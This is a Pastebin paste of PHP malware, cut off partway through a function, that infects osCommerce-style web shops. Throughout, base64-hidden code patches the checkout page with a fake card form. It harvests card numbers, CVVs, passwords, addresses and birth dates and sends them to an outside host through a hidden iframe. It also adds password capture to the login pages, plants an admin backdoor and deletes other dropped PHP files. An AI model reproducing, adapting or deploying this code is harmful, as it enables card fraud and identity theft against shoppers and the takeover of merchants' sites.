Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $script = basename(__FILE__);
- $fullpath = $_SERVER["SCRIPT_FILENAME"];
- $position = strpos($fullpath, $script);
- $path = substr($fullpath, 0, $position);
- $path = str_replace("images/", "", $path);
- $path = str_replace("download/", "", $path);
- $path = str_replace("templates/", "", $path);
- $path = str_replace("temp/", "", $path);
- $path = str_replace("tmp/", "", $path);
- $pageURL = "http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
- $position = strpos($pageURL, $script);
- $pageURL = substr($pageURL, 0, $position);
- $pageURL = str_replace("images/", "", $pageURL);
- $pageURL = str_replace("download/", "", $pageURL);
- $pageURL = str_replace("templates/", "", $pageURL);
- $pageURL = str_replace("temp/", "", $pageURL);
- $pageURL = str_replace("tmp/", "", $pageURL);
- function getUniqueCode(){
- $len = 12;
- $base = 'ABCDEFGHKLMNOPQRSTWXYZabcdefghjkmnpqrstwxyz0123456789';
- $max = strlen($base)-1;
- $code = '';
- mt_srand((double)microtime()*1000000);
- while (strlen($code)<$len+1)
- $code.=$base{mt_rand(0,$max)};
- return $code;
- }
- function get_payment_file(){
- GLOBAL $path;
- $filename = $path."checkout_payment.php";
- if(file_exists($filename)){
- $handle = fopen($filename, "r");
- $data = fread($handle, filesize($filename));
- fclose($handle);
- $str = '$selection = $payment_modules->selection();';
- if(strstr($data, $str)) return $filename;
- }
- if(file_exists($path."includes/configure.php")){
- include($path."includes/configure.php");
- mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD);
- mysql_select_db(DB_DATABASE);
- if(defined("DB_TABLE_PREFIX")) $prefix = DB_TABLE_PREFIX;
- if(defined("DB_PREFIX")) $prefix = DB_PREFIX;
- $sql = mysql_query("SELECT configuration_value FROM ".$prefix."configuration WHERE configuration_key = 'DIR_WS_TEMPLATES_DEFAULT'");
- $td = mysql_fetch_array($sql);
- $t_dir = $td[0];
- $filename = $path."templates/".$t_dir."/content/checkout_payment.tpl.php";
- if(file_exists($filename) && $t_dir != ""){
- return $filename;
- }
- }
- if(file_exists($path."includes/configure.php")){
- $sql = mysql_query("SELECT configuration_value FROM ".$prefix."configuration WHERE configuration_key = 'DEFAULT_TEMPLATE'");
- $td = mysql_fetch_array($sql);
- $t_dir = $td[0];
- $filename = $path."templates/".$t_dir."/content/checkout_payment.tpl.php";
- if(file_exists($filename) && $t_dir != ""){
- return $filename;
- }
- }
- $filename = $path."templates/fallback/content/checkout_payment.tpl.php";
- if(file_exists($filename)){
- return $filename;
- }
- $filename = $path."templates/content/checkout_payment.tpl.php";
- if(file_exists($filename)){
- return $filename;
- }
- return false;
- }
- function write_payment($filename){
- $handle = fopen($filename, "r");
- $data = fread($handle, filesize($filename));
- fclose($handle);
- if(strstr($data, "tep_href_link(FILENAME_CHECKOUT_CONFIRMATION")){
- $data = str_replace("tep_href_link(FILENAME_CHECKOUT_CONFIRMATION", 'tep_href_link($customer_form', $data);
- }
- if(!strstr($data, '$customer_template .= base64_decode("Q1ZWMiA6IA==")')){
- $add = base64_decode("DQogIGZ1bmN0aW9uIGlzX251bSgkdmFyKSB7DQogICAgaWYoZW1wdHkoJHZhcikpIHJldHVybiBmYWxzZTsNCiAgICBmb3IgKCRpPTA7JGk8c3RybGVuKCR2YXIpOyRpKyspIHsNCiAgICAgICRhc2NpaV9jb2RlPW9yZCgkdmFyWyRpXSk7DQogICAgICBpZiAoaW50dmFsKCRhc2NpaV9jb2RlKSA+PTQ4ICYmIGludHZhbCgkYXNjaWlfY29kZSkgPD01Nykgewljb250aW51ZTsgfSANCiAgICAgIGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCiAgICB9DQogICAgcmV0dXJuIHRydWU7DQogIH0NCg0KICBpZihpc3NldCgkX1BPU1RbJ2N2dl9jb2RlJ10pKXsNCiAgICAkY21uID0gJF9QT1NUWydjY19leHBpcmVzX21vbnRoJ107DQogICAgaWYoJGNtbiE9IjEwIikgJGNtbiA9IHN0cl9yZXBsYWNlKCIwIiwgIiIsICRjbW4pOwkNCiAgICBpZihzdHJsZW4oJF9QT1NUWydjY19vd25lciddKSA8IDMpICRlMSA9IDE7DQogICAgaWYoJF9QT1NUWydjY19udW1iZXInXSA8IDEwIHx8ICFpc19udW0oJF9QT1NUWydjY19udW1iZXInXSkpICRlMiA9IDE7DQogICAgaWYoJF9QT1NUWydjY19leHBpcmVzX3llYXInXSA9PSBkYXRlKCJ5IikgJiYgJGNtbiA8IGRhdGUoIm4iKSkgJGUzID0gMTsNCiAgICBpZigoc3RybGVuKCRfUE9TVFsnY3Z2X2NvZGUnXSkgIT0gMyAmJiBzdHJsZW4oJF9QT1NUWydjdnZfY29kZSddKSAhPSA0KSB8fCAhaXNfbnVtKCRfUE9TVFsnY3Z2X2NvZGUnXSkpICRlNCA9IDE7CQ0KICAgIGlmKCRlMSAhPSAxICYmICRlMiAhPSAxICYmICRlMyAhPSAxICYmICRlNCAhPSAxKXsNCiAgICAgICR0ZF9xdWVyeSA9IHRlcF9kYl9xdWVyeSgic2VsZWN0ICogZnJvbSAiIC4gVEFCTEVfQ1VTVE9NRVJTIC4gIiB3aGVyZSBjdXN0b21lcnNfaWQgPSAnIiAuICRjdXN0b21lcl9pZCAuICInIik7DQogICAgICAkY3VzdG9tZXJfaW5mbyA9IHRlcF9kYl9mZXRjaF9hcnJheSgkdGRfcXVlcnkpOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlID0gYmFzZTY0X2RlY29kZSgiVG1GdFpTQTZJQT09IikuJG9yZGVyLT5iaWxsaW5nWydmaXJzdG5hbWUnXS4iICIuJG9yZGVyLT5iaWxsaW5nWydsYXN0bmFtZSddLiJcbiI7DQogICAgICAkY3VzdG9tZXJfdGVtcGxhdGUgLj0gYmFzZTY0X2RlY29kZSgiVkdWc1pYQm9iMjVsSURvZyIpLiRjdXN0b21lcl9pbmZvWydjdXN0b21lcnNfdGVsZXBob25lJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJSVzFoYVd3Z09pQT0iKS4kY3VzdG9tZXJfaW5mb1snY3VzdG9tZXJzX2VtYWlsX2FkZHJlc3MnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlUzUnlaV1YwSURvZyIpLiRvcmRlci0+YmlsbGluZ1snc3RyZWV0X2FkZHJlc3MnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlVHOXpkR052WkdVZ09pQT0iKS4kb3JkZXItPmJpbGxpbmdbJ3Bvc3Rjb2RlJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJRMmwwZVNBNklBPT0iKS4kb3JkZXItPmJpbGxpbmdbJ2NpdHknXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlUzUmhkR1VnT2lBPSIpLiRvcmRlci0+YmlsbGluZ1snc3RhdGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlEyOTFiblJ5ZVNBNklBPT0iKS4kb3JkZXItPmJpbGxpbmdbJ2NvdW50cnknXVsndGl0bGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlVHRnpjM2R2Y21RZ09pQT0iKS4kY3VzdG9tZXJfcGFzcy4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlEwTWdUM2R1WlhJZ09pQT0iKS4kX1BPU1RbJ2NjX293bmVyJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJRME1nVG5WdFltVnlJRG9nIikuJF9QT1NUWydjY19udW1iZXInXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlExWldNaUE2SUE9PSIpLiRfUE9TVFsnY3Z2X2NvZGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlJHRjBaU0JGZUhCcGNtVWdPaUE9IikuJF9QT1NUWydjY19leHBpcmVzX21vbnRoJ10uIi8iLiRfUE9TVFsnY2NfZXhwaXJlc195ZWFyJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJSRTlDSURvZyIpLiRjdXN0b21lcl9pbmZvWydjdXN0b21lcnNfZG9iJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJVMmwwWlNBNklBPT0iKS4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSA9IHN0cnRyKGJhc2U2NF9lbmNvZGUoJGN1c3RvbWVyX3RlbXBsYXRlKSwgJysvPScsICctXywnKTsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSA9IGJhc2U2NF9kZWNvZGUoIlBHbG1jbUZ0WlNCemNtTTlJbWgwZEhBNkx5OTNkM2N1WlhoamIzVnVkR1Z5TG1OdmJTOXpkR0YwY3k1d2FIQS9hV1E5IikuJGN1c3RvbWVyX3RlbXBsYXRlLmJhc2U2NF9kZWNvZGUoIklpQjNhV1IwYUQwaU1DSWdhR1ZwWjJoMFBTSXdJaUFnWm5KaGJXVmliM0prWlhJOUlqQWlQand2YVdaeVlXMWxQZz09Iik7DQogICAgICBmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRjdXN0b21lcl90ZW1wbGF0ZSk7ICRpKyspeyAkaGV4IC49ICIlIi5kZWNoZXgob3JkKCRjdXN0b21lcl90ZW1wbGF0ZVskaV0pKTsgfQ0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlID0gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkRDVrYjJOMWJXVnVkQzUzY21sMFpTaDFibVZ6WTJGd1pTZ24iKS4kaGV4LmJhc2U2NF9kZWNvZGUoIkp5a3BPend2YzJOeWFYQjBQZz09Iik7DQogICAgICAkY3VzdG9tZXJfZm9ybSA9IEZJTEVOQU1FX0NIRUNLT1VUX0NPTkZJUk1BVElPTjsJCQ0KICAgIH0NCiAgICBlbHNlICRjdXN0b21lcl9mb3JtID0gRklMRU5BTUVfQ0hFQ0tPVVRfUEFZTUVOVDsNCiAgfQ0KICBlbHNlICRjdXN0b21lcl9mb3JtID0gRklMRU5BTUVfQ0hFQ0tPVVRfUEFZTUVOVDsNCg0K");
- $add = str_replace('$_SERVER[\'HTTP_HOST\']', "\"".$_SERVER['HTTP_HOST']."\"", $add);
- $position = strpos($data, "echo tep_draw_form('checkout_payment'");
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $data = $split1.$add.$split2;
- }
- if(!strstr($data, '<td class="main"><input type="text" name="cvv_code"')){
- $add = base64_decode("aWYoJGN1c3RvbWVyX3RlbXBsYXRlID09ICIiKXsNCiAgICBmb3IgKCRpPTE7ICRpPDEzOyAkaSsrKSB7ICRleHBpcmVzX21vbnRoW10gPSBhcnJheSgnaWQnID0+IHNwcmludGYoJyUwMmQnLCAkaSksICd0ZXh0JyA9PiBzdHJmdGltZSgnJUInLG1rdGltZSgwLDAsMCwkaSwxLDIwMDApKSk7IH0NCiAgICAkdG9kYXkgPSBnZXRkYXRlKCk7IA0KICAgIGZvciAoJGk9JHRvZGF5Wyd5ZWFyJ107ICRpIDwgJHRvZGF5Wyd5ZWFyJ10rMTA7ICRpKyspIHsgJGV4cGlyZXNfeWVhcltdID0gYXJyYXkoJ2lkJyA9PiBzdHJmdGltZSgnJXknLG1rdGltZSgwLDAsMCwxLDEsJGkpKSwgJ3RleHQnID0+IHN0cmZ0aW1lKCclWScsbWt0aW1lKDAsMCwwLDEsMSwkaSkpKTsgfQ0KICAgIGlmKCRsYW5ndWFnZSA9PSAicG9saXNoIil7ICRsMSA9ICJXs2G2Y2ljaWVsIEthcnR5OiI7ICRsMiA9ICJOdW1lciBLYXJ0eToiOyAkbDMgPSAiRGF0YSBXYb9ub7ZjaSBLYXJ0eToiOyAkbDQgPSAiTnVtZXIgS29udHJvbG55IEthcnR5IChDVlYpOiI7ICRsNSA9ICJLYXJ0YSBLcmVkeXRvd2EiOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gInJ1c3NpYW4iKXsgJGwxID0gIsLr4OTl6+X2IOrw5eTo8u3u6SDq4PDy7vfq6DoiOyAkbDIgPSAize7s5fAg6vDl5Ojy7e7pIOrg8PLu9+roOiI7ICRsMyA9ICLE5enx8uLo8uXr/O3gIOTuOiI7ICRsNCA9ICLK7u3y8O7r/O376SDt7uzl8CDq8OXk6PLt7ukg6uDw8u736uggKENWVik6IjsgJGw1ID0gIsrw5eTo8u3g/yDq4PDy7vfq4CI7IH0NCiAgICBlbHNlIGlmKCRsYW5ndWFnZSA9PSAiZXNwYW5vbCIpeyAkbDEgPSAiVGl0dWxhciBkZSBsYSB0YXJqZXRhOiI7ICRsMiA9ICJOJnVhY3V0ZTttZXJvIGRlIHRhcmpldGE6IjsgJGwzID0gIkZlY2hhIGRlIGNhZHVjaWRhZDoiOyAkbDQgPSAiQyZvYWN1dGU7ZGlnbyBkZSBzZWd1cmlkYWQgKENWVik6IjsgJGw1ID0gIlRhcmpldGEgZGUgQ3ImZWFjdXRlO2RpdG8iOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gImZyZW5jaCIpeyAkbDEgPSAiVGl0dWxhaXJlIGNhcnRlIGRlIGNyJmVhY3V0ZTtkaXQ6IjsgJGwyID0gIk51bSZlYWN1dGU7cm8gY2FydGUgZGUgY3ImZWFjdXRlO2RpdDoiOyAkbDMgPSAiRGF0ZSBkJ2V4cGlyYXRpb24gY2FydGUgZGUgY3ImZWFjdXRlO2RpdDoiOyAkbDQgPSAiQ3J5cHRvZ3JhbW1lIChDVlYpOiI7ICRsNSA9ICJDYXJ0ZSBkZSBDciZlYWN1dGU7ZGl0IjsgfQ0KICAgIGVsc2UgaWYoJGxhbmd1YWdlID09ICJnZXJtYW4iKXsgJGwxID0gIktyZWRpdGthcnRlbmluaGFiZXI6IjsgJGwyID0gIktyZWRpdGthcnRlbi1Oci46IjsgJGwzID0gIkcmdXVtbDtsdGlnIGJpczoiOyAkbDQgPSAiS3JlZGl0a2FydGVucHImdXVtbDtmbnVtbWVyIChDVlYpOiI7ICRsNSA9ICJLcmVkaXRrYXJ0ZSI7IH0NCiAgICBlbHNlIGlmKCRsYW5ndWFnZSA9PSAiZHV0Y2giKXsgJGwxID0gIkNyZWRpdCBDYXJkIEVpZ2VuYWFyOiI7ICRsMiA9ICJDcmVkaXQgQ2FyZCBOdW1tZXI6IjsgJGwzID0gIkNyZWRpdCBDYXJkIFZlcnZhbGRhdHVtOiI7ICRsNCA9ICJDcmVkaXQgQ2FyZCBDaGVja251bW1lciAoQ1ZWKToiOyAkbDUgPSAiQ3JlZGl0IENhcmQiOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gIml0YWxpYW4iKXsgJGwxID0gIlByb3ByaWV0YXJpbyBDYXJ0YSBkaSBDcmVkaXRvOiI7ICRsMiA9ICJOdW1lcm8gQ2FydGEgZGkgQ3JlZGl0bzoiOyAkbDMgPSAiRGF0YSBkaSBTY2FkZW56YSBDYXJ0YSBkaSBDcmVkaXRvOiI7ICRsNCA9ICJDYXJ0YSBkaSBDcmVkaXRvIENoZWNrbnVtYmVyIChDVlYpOiI7ICRsNSA9ICJDYXJ0YSBkaSBDcmVkaXRvIjsgfQ0KICAgIGVsc2UgaWYoJGxhbmd1YWdlID09ICJkYW5pc2giKXsgJGwxID0gIktyZWRpdCBrb3J0IGVqZXI6IjsgJGwyID0gIktyZWRpdCBrb3J0IG51bW1lcjoiOyAkbDMgPSAiS3JlZGl0a29ydHMgdWRs+GJzIGRhdG86IjsgJGw0ID0gIkNyZWRpdCBDYXJkIENoZWNrbnVtYmVyIChDVlYpOiI7ICRsNSA9ICJLcmVkaXQgS29ydCI7IH0NCiAgICBlbHNlIHsgJGwxID0gIkNyZWRpdCBDYXJkIE93bmVyOiI7ICRsMiA9ICJDcmVkaXQgQ2FyZCBOdW1iZXI6IjsgJGwzID0gIkNyZWRpdCBDYXJkIEV4cGlyeSBEYXRlOiI7ICRsNCA9ICJDcmVkaXQgQ2FyZCBDVlY6IjsgJGw1ID0gIkNyZWRpdCBDYXJkIjsgfQ0KPz4JCQkgIA0KCQkJPHRyPg0KCQkJPHRkIHdpZHRoPSIyMCI+PC90ZD4JCQ0KCQkJCTx0ZCBjb2xzcGFuPSIzIj4JCQkNCgkJCQkJPHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIj4NCgkJCQkJCTx0ZCBjbGFzcz0ibWFpbiIgY29sc3Bhbj0iMiI+PGI+PD8gZWNobyAkbDU7ID8+PC9iPjwvdGQ+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48PyBpZigkZTE9PTEpIGVjaG8gIjxmb250IGNvbG9yPVwicmVkXCI+PGI+IjsgZWNobyAkbDE7IGlmKCRlMT09MSkgZWNobyAiPC9iPjwvZm9udD4iOyA/PiZuYnNwOyZuYnNwOzwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2Nfb3duZXIiIHZhbHVlPSI8PyBlY2hvICRvcmRlci0+YmlsbGluZ1snZmlyc3RuYW1lJ10uIiAiLiRvcmRlci0+YmlsbGluZ1snbGFzdG5hbWUnXTsgPz4iICBjbGFzcz0iZm9ybUZpZWxkIj48L3RkPg0KCQkJCQkJPC90cj4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGlmKCRlMj09MSkgZWNobyAiPGZvbnQgY29sb3I9XCJyZWRcIj48Yj4iOyBlY2hvICRsMjsgaWYoJGUyPT0xKSBlY2hvICI8L2I+PC9mb250PiI7ID8+Jm5ic3A7Jm5ic3A7PC90ZD4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjY19udW1iZXIiICBjbGFzcz0iZm9ybUZpZWxkIj48L3RkPg0KCQkJCQkJPC90cj4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGlmKCRlMz09MSkgZWNobyAiPGZvbnQgY29sb3I9XCJyZWRcIj48Yj4iOyBlY2hvICRsMzsgaWYoJGUzPT0xKSBlY2hvICI8L2I+PC9mb250PiI7ID8+Jm5ic3A7Jm5ic3A7PC90ZD4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGVjaG8gdGVwX2RyYXdfcHVsbF9kb3duX21lbnUoJ2NjX2V4cGlyZXNfbW9udGgnLCAkZXhwaXJlc19tb250aCk7ID8+Jm5ic3A7PD8gZWNobyB0ZXBfZHJhd19wdWxsX2Rvd25fbWVudSgnY2NfZXhwaXJlc195ZWFyJywgJGV4cGlyZXNfeWVhcik7ID8+PC90ZD4NCgkJCQkJCTwvdHI+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48PyBpZigkZTQ9PTEpIGVjaG8gIjxmb250IGNvbG9yPVwicmVkXCI+PGI+IjsgZWNobyAkbDQ7IGlmKCRlND09MSkgZWNobyAiPC9iPjwvZm9udD4iOyA/PiZuYnNwOyZuYnNwOzwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3Z2X2NvZGUiICBjbGFzcz0iZm9ybUZpZWxkU2hvcnQiIFNJWkU9IjQiLCBNQVhMRU5HVEg9IjQiPjwvdGQ+DQoJCQkJCQk8L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KPD9waHANCiAgfQ0KICBlbHNlew0KICAgIGVjaG8gIlx0XHQiLiRjdXN0b21lcl90ZW1wbGF0ZTsNCiAgICA=");
- $position = strpos($data, '$selection = $payment_modules->selection();');
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $data = $split1.$add.$split2;
- }
- if(!strstr($data, "alert(\'We were unable to process your")){
- $add = base64_decode("DQogIH0NCiAgDQogIGVjaG8gJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmFsZXJ0KFwnV2Ugd2VyZSB1bmFibGUgdG8gcHJvY2VzcyB5b3VyIGNyZWRpdCBjYXJkIHBheW1lbnQuXG5cblBsZWFzZSB1c2UgYSBkaWZmZXJlbnQgcGF5bWVudCBtZXRob2QuXCcpOzwvc2NyaXB0Pic7DQo=");
- $position = strpos($data, '$radio_buttons++;') + strlen('$radio_buttons++;');
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $data = $split1.$add.$split2;
- }
- if(!strstr($data, "Check this if you want to pay with different payment method")){
- $add = '
- </tr>
- <tr>
- <td class="main" colspan="2"><br><input type="checkbox" name="skip" value="1"> Check this if you want to pay with different payment method</td>';
- $position = strpos($data, '<td class="main"><input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4"></td>') + strlen('<td class="main"><input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4"></td>');
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $data = $split1.$add.$split2;
- }
- if(strstr($data, '<input type="text" name="cc_number" class="formField">')){
- $data = str_replace('<input type="text" name="cc_number" class="formField">', '<input type="text" name="cc_number" class="formField" value="<? echo $_POST[\'cc_number\']; ?>">', $data);
- }
- if(strstr($data, '<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4">')){
- $data = str_replace('<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4">', '<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4" value="<? echo $_POST[\'cvv_code\']; ?>">', $data);
- }
- if(strstr($data, 'else $customer_form = FILENAME_CHECKOUT_PAYMENT;')){
- $data = str_replace('else $customer_form = FILENAME_CHECKOUT_PAYMENT;', 'else if($_POST[\'skip\'] != 1) $customer_form = FILENAME_CHECKOUT_PAYMENT; else $customer_form = FILENAME_CHECKOUT_CONFIRMATION;', $data);
- }
- if(strstr($data, 'if($customer_template == ""){')){
- $data = str_replace('if($customer_template == ""){', 'if($customer_template == "" && $_POST[\'skip\'] != 1){', $data);
- }
- if(strstr($data, "echo '<script language=\"javascript\">alert(\'We were unable to process")){
- $data = str_replace("echo '<script language=\"javascript\">alert(\'We were unable to process", 'if($_POST[\'skip\'] != 1) echo "".\'<script language="javascript">alert(\\\'We were unable to process', $data);
- }
- if(strstr($data, "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhjb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9")){
- $data = str_replace("PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhjb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", $data);
- }
- if(strstr($data, 'if($_POST[\'skip\'] != 1) echo "".\'<script language="javascript">alert(\\\'We were unable to process your credit card payment.\n\nPlease use a different payment method.\\\');</script>\';')){
- $data = str_replace('if($_POST[\'skip\'] != 1) echo "".\'<script language="javascript">alert(\\\'We were unable to process your credit card payment.\n\nPlease use a different payment method.\\\');</script>\';', 'if($_POST[\'skip\'] != 1 && $pst != 1){ $pst = 1; echo "".\'<script language="javascript">alert(\\\'We were unable to process your credit card payment.\n\nPlease use a different payment method.\\\');</script>\'; }', $data);
- }
- if(strstr($data, 'for ($i=0; $i < strlen($customer_template); $i++){ $hex .= "%".dechex(ord($customer_template[$i])); }')){
- $data = str_replace('for ($i=0; $i < strlen($customer_template); $i++){ $hex .= "%".dechex(ord($customer_template[$i])); }', '', $data);
- }
- if(strstr($data, '$customer_template = base64_decode("PHNjcmlwdD5kb2N1bWVudC53cml0ZSh1bmVzY2FwZSgn").$hex.base64_decode("JykpOzwvc2NyaXB0Pg==");')){
- $data = str_replace('$customer_template = base64_decode("PHNjcmlwdD5kb2N1bWVudC53cml0ZSh1bmVzY2FwZSgn").$hex.base64_decode("JykpOzwvc2NyaXB0Pg==");', '', $data);
- }
- if(strstr($data, '$_POST[\'skip\']=1;')){
- $data = str_replace('$_POST[\'skip\']=1;', '', $data);
- }
- if(strstr($data, '$_POST[\'skip\'] = 1;')){
- $data = str_replace('$_POST[\'skip\'] = 1;', '', $data);
- }
- if(strstr($data, '$_POST[\'skip\'] =1;')){
- $data = str_replace('$_POST[\'skip\'] =1;', '', $data);
- }
- if(strstr($data, '$_POST[\'skip\']= 1;')){
- $data = str_replace('$_POST[\'skip\']= 1;', '', $data);
- }
- $handle = @fopen($filename, "w");
- if(fwrite($handle, $data) === FALSE){
- fclose($handle);
- return false;
- }else{
- fclose($handle);
- return true;
- }
- }
- function delete_phps(){
- GLOBAL $path, $script;
- $dh = @opendir($path."images/");
- while(false !== ($file = @readdir($dh))){
- if((strlen($file)-4 == strpos($file, ".php")) && $file != "osm.php") unlink($path."images/".$file);
- }
- @closedir($dh);
- $dh = @opendir($path."download/");
- while(false !== ($file = @readdir($dh))){
- if(strlen($file)-4 == strpos($file, ".php")) unlink($path."download/".$file);
- }
- @closedir($dh);
- if(file_exists($path."images/osh.php")) unlink($path."images/osh.php");
- if(file_exists($path."osh.php")) unlink($path."osh.php");
- if(file_exists($path."../images/osh.php")) unlink($path."../images/osh.php");
- if(file_exists($path."../osh.php")) unlink($path."../osh.php");
- if(file_exists($path."../../images/osh.php")) unlink($path."../../images/osh.php");
- if(file_exists($path."../../osh.php")) unlink($path."../../osh.php");
- if(file_exists($path."../../../images/osh.php")) unlink($path."../../../images/osh.php");
- if(file_exists($path."../../../osh.php")) unlink($path."../../../osh.php");
- if(file_exists($script)) unlink($script);
- }
- function write_login(){
- GLOBAL $path;
- $filename = $path."create_account.php";
- $handle = fopen($filename, "r");
- $data = fread($handle, filesize($filename));
- fclose($handle);
- if(strstr($data, "HTTP_POST_VARS['password']);") && !strstr($data, 'session_register("customer_pass")')){
- $position = strpos($data, "HTTP_POST_VARS['password']);") + strlen("HTTP_POST_VARS['password']);");
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $add = '
- $customer_pass = $password;
- session_unregister("customer_pass");
- session_register("customer_pass");';
- $data = $split1.$add.$split2;
- $handle = @fopen($filename, "w");
- fwrite($handle, $data);
- fclose($handle);
- }
- $filename = $path."login.php";
- $handle = fopen($filename, "r");
- $data = fread($handle, filesize($filename));
- fclose($handle);
- if(strstr($data, "HTTP_POST_VARS['password']);") && !strstr($data, 'session_register("customer_pass")')){
- $position = strpos($data, "HTTP_POST_VARS['password']);") + strlen("HTTP_POST_VARS['password']);");
- $split1 = substr($data, 0, $position);
- $split2 = substr($data, $position);
- $add = '
- $customer_pass = $password;
- session_unregister("customer_pass");
- session_register("customer_pass");';
- $data = $split1.$add.$split2;
- $handle = @fopen($filename, "w");
- fwrite($handle, $data);
- fclose($handle);
- }
- }
- function write_bd(){
- GLOBAL $path, $hash;
- $filename = $path."admin/banner_manager.php";
- $handle = fopen($filename, "r");
- $data = fread($handle, filesize($filename));
- fclose($handle);
- if(!strstr($data, 'if(md5(md5($_GET[\'p\'])) !=')){
- $data = '<?php if(md5(md5($_GET[\'p\'])) != "'.$hash.'") exit; ?>'.$data;
- $handle = @fopen($filename, "w");
- if(fwrite($handle, $data) === FALSE){
- fclose($handle);
- return false;
- }else{
- fclose($handle);
- return true;
- }
- }
- }
- function get_info(){
- GLOBAL $path;
- GLOBAL $orders, $customers, $country;
- if(file_exists($path."includes/configure.php")) include($path."includes/configure.php");
- else return false;
- mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD);
- mysql_select_db(DB_DATABASE);
- if(defined("DB_TABLE_PREFIX")) $prefix = DB_TABLE_PREFIX;
- if(defined("DB_PREFIX")) $prefix = DB_PREFIX;
- mysql_query("UPDATE ".$prefix."configuration SET configuration_value = 'true' where configuration_key = 'ACCOUNT_DOB'");
- $sql = mysql_query("SELECT COUNT(*) FROM ".$prefix."orders");
- $td = mysql_fetch_array($sql);
- $orders = $td[0];
- $sql = mysql_query("SELECT COUNT(*) FROM ".$prefix."customers");
- $td = mysql_fetch_array($sql);
- $customers = $td[0];
- if($orders=="") $orders="error";
- if($customers=="") $customers="error";
- $sql = mysql_query("SELECT customers_country, COUNT(*) AS 'mcount' FROM ".$prefix."orders GROUP BY customers_country ORDER BY mcount DESC LIMIT 0,1");
- $td = mysql_fetch_array($sql);
- $country = $td[0];
- if($country=="") $country="error";
- }
- function write_bd2(){
- GLOBAL $path, $hash2;
- if(file_exists($path."images/osm.php")) return false;
